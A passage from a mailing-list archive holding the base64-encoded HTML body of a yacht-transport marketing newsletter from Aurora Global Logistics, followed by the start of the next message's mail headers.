OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgPHRhYmxlIHN0eWxlPSJ3aWR0aDogNTQwcHg7IiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIw IiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICA8dGJvZHk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRy PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgYWxp Z249ImxlZnQiIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0OyB2ZXJ0aWNhbC1hbGlnbjogdG9wOyIg d2lkdGg9IjE1MCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIDxwPiZuYnNwOzwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgPHA+PGltZyBhbHQ9IiIgd2lkdGg9IjE5NSIgaGVpZ2h0PSIxMjUiIHNyYz0iaHR0 cDovL3dlYnNpdGVzLm1haWxiYW5rLmNvbS5hdS9BdXJvcmFHbG9iYWxMb2dpc3RpY3MvaW1hZ2Vz L3RodW1iXzg1X1ByaW5jZXNzLmpwZyI+PC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9IiIgd2lkdGg9IjQ1Ij48L3RkPgogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIg c3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsgdmVydGljYWwtYWxpZ246IHRvcDsiIHdpZHRoPSIx NTAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD4m bmJzcDs8c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IEFyaWFsOyI+Jm5ic3A7Jm5ic3A7PC9zcGFu PjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAg Y2xhc3M9InNlY29uZGFyeSI+PHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlhbDsiPjwvc3Bh bj48c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IEFyaWFsOyI+PGltZyBhbHQ9IiIgd2lkdGg9IjE5 NSIgaGVpZ2h0PSIxMjUiIHNyYz0iaHR0cDovL3dlYnNpdGVzLm1haWxiYW5rLmNvbS5hdS9BdXJv cmFHbG9iYWxMb2dpc3RpY3MvaW1hZ2VzL3RodW1fODVfTlppLmpwZyI+PC9zcGFuPjwvcD4KICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPSIiIHdp ZHRoPSI0NSI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgPHRkIGFsaWduPSJsZWZ0IiBzdHlsZT0idGV4dC1hbGlnbjogbGVmdDsgdmVydGljYWwt YWxpZ246IHRvcDsiIHdpZHRoPSIxNTAiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOwogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDQgY2xhc3M9InNlY29uZGFy eSI+PGltZyBhbHQ9IiIgd2lkdGg9IjE5NSIgaGVpZ2h0PSIxMjUiIHNyYz0iaHR0cDovL3dlYnNp dGVzLm1haWxiYW5rLmNvbS5hdS9BdXJvcmFHbG9iYWxMb2dpc3RpY3MvaW1hZ2VzL3RodW1fODVf QmVuZXR0aS5qcGciPjwvaDQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+ CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxp Z249InRvcCIgc3R5bGU9IiIgd2lkdGg9IjE1MCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIDxoND4mbmJzcDs8YSBocmVmPSJodHRwOi8vbWFpbGJhbmsu Y29tLmF1L3JlZGlyLmFzcD9FPTgzNzM3NDQmVD0xMzk0MDImVT01NjAyYTFkODBlZTBmYmQ0ZDc0 ODQ0YzIyMWI0MmUxMTEzNyI+UHJpbmNlc3MgUyBpcyBhbGwgQ0xBU1M8L2E+PC9oND4KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPSIiIHdpZHRo PSI0NSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IHZl cnRpY2FsLWFsaWduOiB0b3A7IiB3aWR0aD0iMTUwIj4KICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgPGg0IHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0OyI+Jm5i c3A7PGEgaHJlZj0iaHR0cDovL21haWxiYW5rLmNvbS5hdS9yZWRpci5hc3A/RT04MzczNzQ0JlQ9 MTM5NDAyJlU9NTYwNTgzODdjYWQyYmFjNGE1MmJmMzZmMDk5YTA1MmY2NzQiPk5aIGV4dGVuZHMg ZW50cnkgcGVyaW9kPC9hPjwvaDQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIDx0ZCBzdHlsZT0iIiB3aWR0aD0iNDUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCIgc3R5 bGU9IiIgd2lkdGg9IjE1MCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIDxoND4mbmJzcDs8YSBocmVmPSJodHRwOi8vbWFpbGJhbmsuY29tLmF1L3JlZGly LmFzcD9FPTgzNzM3NDQmVD0xMzk0MDImVT01NjA3ZWMzMTM4NmMzNGE0YWU1OGE3MDU4MzM4NjQ2 NmQyMCI+QmVuZXR0aSB1bmxlYXNoIFBhbnRoZXJhPC9hPjwvaDQ+CiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIDx0ZCBhbGlnbj0ibGVmdCIgc3R5bGU9InRleHQtYWxpZ246IGxlZnQ7IHZl cnRpY2FsLWFsaWduOiB0b3A7IiB3aWR0aD0iMTUwIj4KICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgPHA+PG11bHRpbGluZSBsYWJlbD0iT2NlYW4gTmV3cyAx IENvbnRlbnQiPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwMDAwMDsiPlBlcmZvcm1hbmNlJm5ic3A7 YW5kIG9uIHdhdGVyIGF0dGl0aXVkZSBhcmUgYWxsIGhhbGxtYXJrcyZuYnNwO29mIHRoZSBuZXcg UyBDTEFTUyByYW5nZS48L3NwYW4+PC9tdWx0aWxpbmU+PC9wPgogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48YSBocmVmPSJodHRwOi8vbWFpbGJhbmsu Y29tLmF1L3JlZGlyLmFzcD9FPTgzNzM3NDQmVD0xMzk0MDImVT01NjAyYTFkODBlZTBmYmQ0ZDc0 ODQ0YzIyMWI0MmUxMTEzNyI+RlVMTCBTVE9SWTwvYT48L3A+CiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0iIiB3aWR0aD0iNDUiPjwvdGQ+CiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249 InRvcCIgc3R5bGU9IiIgd2lkdGg9IjE1MCI+PG11bHRpbGluZSBsYWJlbD0iT2NlYW4gTmV3cyAy IENvbnRlbnQiPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7Ij4gPC9zcGFuPgogICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48c3BhbiBzdHls ZT0iZm9udC1mYW1pbHk6IEFyaWFsOyBjb2xvcjogIzAwMDAwMDsiPlRJRSBleHRlbnNpb25zIHdp bGwgcHJvdmUgYSB3aW5kZmFsbCBmb3IgbWFyaW5lIGFuZCB0b3VyaXNtIHNlY3RvcnMuPC9zcGFu PjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+ PGEgaHJlZj0iaHR0cDovL21haWxiYW5rLmNvbS5hdS9yZWRpci5hc3A/RT04MzczNzQ0JlQ9MTM5 NDAyJlU9NTYwYmQyNWIyMjRlZWYxNDYyZjhkZGU2MzE1ODk4MGQyY2IiPjxzcGFuIHN0eWxlPSJm b250LWZhbWlseTogQXJpYWw7IGNvbG9yOiAjMDAwMDAwOyI+PC9zcGFuPjwvYT48YSBocmVmPSJo dHRwOi8vbWFpbGJhbmsuY29tLmF1L3JlZGlyLmFzcD9FPTgzNzM3NDQmVD0xMzk0MDImVT01NjA1 ODM4N2NhZDJiYWM0YTUyYmYzNmYwOTlhMDUyZjY3NCI+RlVMTCBTVE9SWTwvYT48L3A+CiAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbXVsdGlsaW5lPiA8 L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQg c3R5bGU9IiIgd2lkdGg9IjQ1Ij48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiIHN0eWxlPSIiIHdpZHRoPSIxNTAiPgog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD5UaGUgc2Vj b25kIGluIHRoZSA1MDAgc2VyaWVzLCB0aGUgbmltYmxlIFBhbnRoZXJhIGlzIHNsZWVrLCBkYXJr IGFuZCBkZXNpcmFibGU8L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIDxwPjxhIGhyZWY9Imh0dHA6Ly9tYWlsYmFuay5jb20uYXUvcmVkaXIuYXNwP0U9 ODM3Mzc0NCZUPTEzOTQwMiZVPTU2MDdlYzMxMzg2YzM0YTRhZTU4YTcwNTgzMzg2NDY2ZDIwIj5G VUxMIFNUT1JZPC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90Ym9keT4K ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IDwvdGQ+ CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0iYmFja2dyb3Vu ZC1jb2xvcjogcmdiKDI1NSwgMjU1LCAyNTUpOyIgd2lkdGg9IjMwIj48L3RkPgogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9ImJh Y2tncm91bmQtY29sb3I6IHJnYigyNTUsIDI1NSwgMjU1KTsiIGNvbHNwYW49IjMiIGhlaWdodD0i MTAiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAg ICAgICAgICAgICAgICAgICAgIDwvdGJvZHk+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGFi bGU+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90 cj4KICAgICAgICAgICAgICAgIDwvdGJvZHk+CiAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAg ICAgIDxpbWcgYWx0PSIiIHdpZHRoPSIxIiBoZWlnaHQ9IjI1IiBjbGFzcz0iZGl2aWRlciIgc3R5 bGU9ImJvcmRlci13aWR0aDogMHB4OyBib3JkZXItc3R5bGU6IHNvbGlkOyIgc3JjPSJodHRwOi8v d2Vic2l0ZXMubWFpbGJhbmsuY29tLmF1L0F1cm9yYUdsb2JhbExvZ2lzdGljcy9pbWFnZXMvc3Bh Y2VyLmdpZiI+CiAgICAgICAgICAgIDx0YWJsZSB3aWR0aD0iNjIwIiBhbGlnbj0iY2VudGVyIiBj bGFzcz0iZm9vdGVyIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+ CiAgICAgICAgICAgICAgICA8dGJvZHk+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAg ICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImNlbGwiIHN0eWxlPSIiIHdpZHRoPSI2MjAiPgog ICAgICAgICAgICAgICAgICAgICAgICA8dGFibGUgd2lkdGg9IjYwMCIgYm9yZGVyPSIwIiBjZWxs c3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAg PHRib2R5PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2Io MTY3LCAxNjcsIDE2Nyk7IiBjb2xzcGFuPSI0IiB3aWR0aD0iMzAiIGhlaWdodD0iNDAiPjwvdGQ+ CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0 ZCBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogcmdiKDE2NywgMTY3LCAxNjcpOyIgd2lkdGg9IjMw Ij48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImNv bnRlbnRibG9jayIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IHJnYigxNjcsIDE2NywgMTY3KTsi IHdpZHRoPSIzMDAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW1nIGFs dD0iIiB3aWR0aD0iMTA2IiBoZWlnaHQ9IjI5IiBzdHlsZT0iYm9yZGVyLXdpZHRoOiAwcHg7IGJv cmRlci1zdHlsZTogc29saWQ7IiBzcmM9Imh0dHA6Ly93ZWJzaXRlcy5tYWlsYmFuay5jb20uYXUv QXVyb3JhR2xvYmFsTG9naXN0aWNzL2ltYWdlcy9hdXJvcmFfbG9nb19mb290ZXIucG5nIj4KICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPgogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICA8YnI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IDxwPjxhIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiIGhyZWY9Imh0dHA6Ly93 d3cueWFjaHQtdHJhbnNwb3J0LmNvbS5hdSI+d3d3LnlhY2h0LXRyYW5zcG9ydC5jb20uYXU8L2E+ CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxicj4KICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgPGJyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICA8YSBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7IiBocmVmPSJodHRwOi8v d3d3LmF1cm9yYWxvZ2lzdGljcy5jb20iPnd3dy5hdXJvcmFsb2dpc3RpY3MuY29tPC9hPjwvcD4K ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgc3R5bGU9ImNvbG9yOiAjZmZm ZmZmOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHN0eWxlPSJ0ZXh0 LWRlY29yYXRpb246IG5vbmU7IiBocmVmPSJodHRwOi8vd2Vic2l0ZXMubWFpbGJhbmsuY29tLmF1 L0F1cm9yYUdsb2JhbExvZ2lzdGljcy9tYWlsQkFOSy5hc3B4P0VVSUQ9MTI0RkY5NUE5QjMyNEZE Q0JFNEY1OTBCRUM5M0VCQTEiPjxzdHJvbmc+RWRpdCB5b3VyIHN1YnNjcmlwdGlvbjwvc3Ryb25n PjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfCAgPGEgc3R5bGU9InRl eHQtZGVjb3JhdGlvbjogbm9uZTsiIGhyZWY9Imh0dHA6Ly93ZWJzaXRlcy5tYWlsYmFuay5jb20u YXUvQXVyb3JhR2xvYmFsTG9naXN0aWNzL21haWxCQU5LLmFzcHg/RVVJRD0xMjRGRjk1QTlCMzI0 RkRDQkU0RjU5MEJFQzkzRUJBMSZVbnN1Yj0xIj48c3Ryb25nPlVuc3Vic2NyaWJlIGluc3RhbnRs eTwvc3Ryb25nPjwvYT48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwv dGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0icmlnaHQi IGNsYXNzPSJjb250ZW50YmxvY2siIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoMTY3LCAx NjcsIDE2Nyk7IiB3aWR0aD0iMjUwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgPHAgc3R5bGU9ImNvbG9yOiAjZmZmZmZmOyI+QXVyb3JhIEdsb2JhbCBMb2dpc3RpY3MgUHR5 IEx0ZAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnI+CiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIDxicj4KICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgNDggTWNDb25uZWxsIFN0cmVldAogICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICA8YnI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxicj4KICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQnVsaW1iYSBRTEQsIEF1c3RyYWxpYSA0 MTcxPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBzdHlsZT0iY29s b3I6ICNmZmZmZmY7Ij5QaG9uZTogNjErIDcgMzkwMCA1OTAwCiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIDxicj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg PGJyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBGYXg6IDYxKyA3IDMzOTkg NzIwOTwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9y OiByZ2IoMTY3LCAxNjcsIDE2Nyk7IiB3aWR0aD0iMzAiPjwvdGQ+CiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+ CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0iYmFja2dyb3Vu ZC1jb2xvcjogcmdiKDE2NywgMTY3LCAxNjcpOyIgY29sc3Bhbj0iNCIgaGVpZ2h0PSIyMCI+PC90 ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAg ICAgICAgICAgICAgPC90Ym9keT4KICAgICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT4KICAg ICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAg ICAgICAgICAgICAgPC90Ym9keT4KICAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAgICAgPGlt ZyBhbHQ9IiIgd2lkdGg9IjEiIGhlaWdodD0iMjUiIGNsYXNzPSJkaXZpZGVyIiBzdHlsZT0iYm9y ZGVyLXdpZHRoOiAwcHg7IGJvcmRlci1zdHlsZTogc29saWQ7IiBzcmM9Imh0dHA6Ly93ZWJzaXRl cy5tYWlsYmFuay5jb20uYXUvQXVyb3JhR2xvYmFsTG9naXN0aWNzL2ltYWdlcy9zcGFjZXIuZ2lm Ij4KICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSI2MjAiIGFsaWduPSJjZW50ZXIiIGNsYXNzPSJ0 YWJsZSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAg ICAgICAgICAgPHRib2R5PgogICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAg ICAgICAgICAgPHRkIGNsYXNzPSJjZWxsIiBzdHlsZT0iIiB3aWR0aD0iNjIwIj4KICAgICAgICAg ICAgICAgICAgICAgICAgPGltZyB3aWR0aD0iNjAwIiBoZWlnaHQ9IjEzOSIgc3R5bGU9ImJvcmRl ci13aWR0aDogMHB4OyBib3JkZXItc3R5bGU6IHNvbGlkOyIgYWx0PSJwYXJ0bmVycyIgc3JjPSJo dHRwOi8vd2Vic2l0ZXMubWFpbGJhbmsuY29tLmF1L0F1cm9yYUdsb2JhbExvZ2lzdGljcy9pbWFn ZXMvcGFydG5lcnMuanBnIj4KICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAg ICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90Ym9keT4KICAgICAgICAgICAgPC90 YWJsZT4KICAgICAgICAgICAgPGltZyBhbHQ9IiIgd2lkdGg9IjEiIGhlaWdodD0iMjUiIGNsYXNz PSJkaXZpZGVyIiBzdHlsZT0iYm9yZGVyLXdpZHRoOiAwcHg7IGJvcmRlci1zdHlsZTogc29saWQ7 IiBzcmM9Imh0dHA6Ly93ZWJzaXRlcy5tYWlsYmFuay5jb20uYXUvQXVyb3JhR2xvYmFsTG9naXN0 aWNzL2ltYWdlcy9zcGFjZXIuZ2lmIj4KICAgICAgICAgICAgPC90ZD4KICAgICAgICA8L3RyPgog ICAgPC90Ym9keT4KPC90YWJsZT48dGFibGUgYm9yZGVyPSIwIiBpZD0ibWJMaW5rcyIgYWxpZ249 ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiPg0KPHRyPjx0ZCAgPg0KPGltZyBoZWlnaHQ9IjMiIHdp ZHRoPSIzIiBzcmM9Imh0dHA6Ly9tYWlsYmFuay5jb20uYXUvX21ic3RhdC84MzczNzQ0LzEzOTQw Mi9pbWcuZ2lmIj48YSBocmVmPSJodHRwOi8vbWFpbGJhbmsuY29tLmF1LyIgdGFyZ2V0PV9ibGFu ayBjbGFzcz0iY3JlYXRlZFdpdGgiPjxpbWcgaGVpZ2h0PSIyMCIgd2lkdGg9IjIwIiBzcmM9Imh0 dHA6Ly9tYWlsYmFuay5jb20uYXUvYXNzZXRzL21iTG9nbzIweDIwLmdpZiIgYWx0PSJtYWlsQkFO SyIgc3R5bGU9ImJvcmRlcjowOyIgLz48L2E+PC90ZD48dGQgdmFsaWduPSJtaWRkbGUiPjxhIGhy ZWY9Imh0dHA6Ly9tYWlsYmFuay5jb20uYXUvIiB0YXJnZXQ9X2JsYW5rIGNsYXNzPSJjcmVhdGVk V2l0aCI+Jm5ic3A7Q3JlYXRlZCB3aXRoIG1haWxCQU5LPC9hPjwvdGQ+PHRkICBhbGlnbj1yaWdo dD4mbmJzcDt8Jm5ic3A7PGEgaHJlZj0iaHR0cDovL21haWxiYW5rLmNvbS5hdS9TZW5kVG9BRnJp ZW5kLz9CPTEzOTQwMiZCSz1ENzNGQkNGRTdFN0Q0Ij5TZW5kIHRvIGEgZnJpZW5kPC9hPiZuYnNw O3wmbmJzcDs8YSBocmVmPSdodHRwOi8vd2Vic2l0ZXMubWFpbGJhbmsuY29tLmF1L0F1cm9yYUds b2JhbExvZ2lzdGljcy9tYWlsQkFOSy5hc3B4P0VVSUQ9MTI0RkY5NUE5QjMyNEZEQ0JFNEY1OTBC RUM5M0VCQTEmVUlEPTgzNzM3NDQmZW1haWw9bGludXgteGZzQG9zcy5zZ2kuY29tJz5WaWV3IHlv dXIgZGV0YWlsczwvYT4mbmJzcDt8Jm5ic3A7PGEgaHJlZj0iaHR0cDovL3dlYnNpdGVzLm1haWxi YW5rLmNvbS5hdS9BdXJvcmFHbG9iYWxMb2dpc3RpY3MvUHJpdmFjeS5hc3AiPlByaXZhY3kgcG9s aWN5PC9hPjwvdGQ+PC90cj4NCjwvdGFibGU+PC9ib2R5PjwvaHRtbD4= ----boundary_0_0eedbce6-594a-49b9-bf0b-0c226488634b-- From BATV+12dff0b91a2b4fa7e7af+3792+infradead.org+hch@bombadil.srs.infradead.org Fri Jan 10 03:32:15 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com 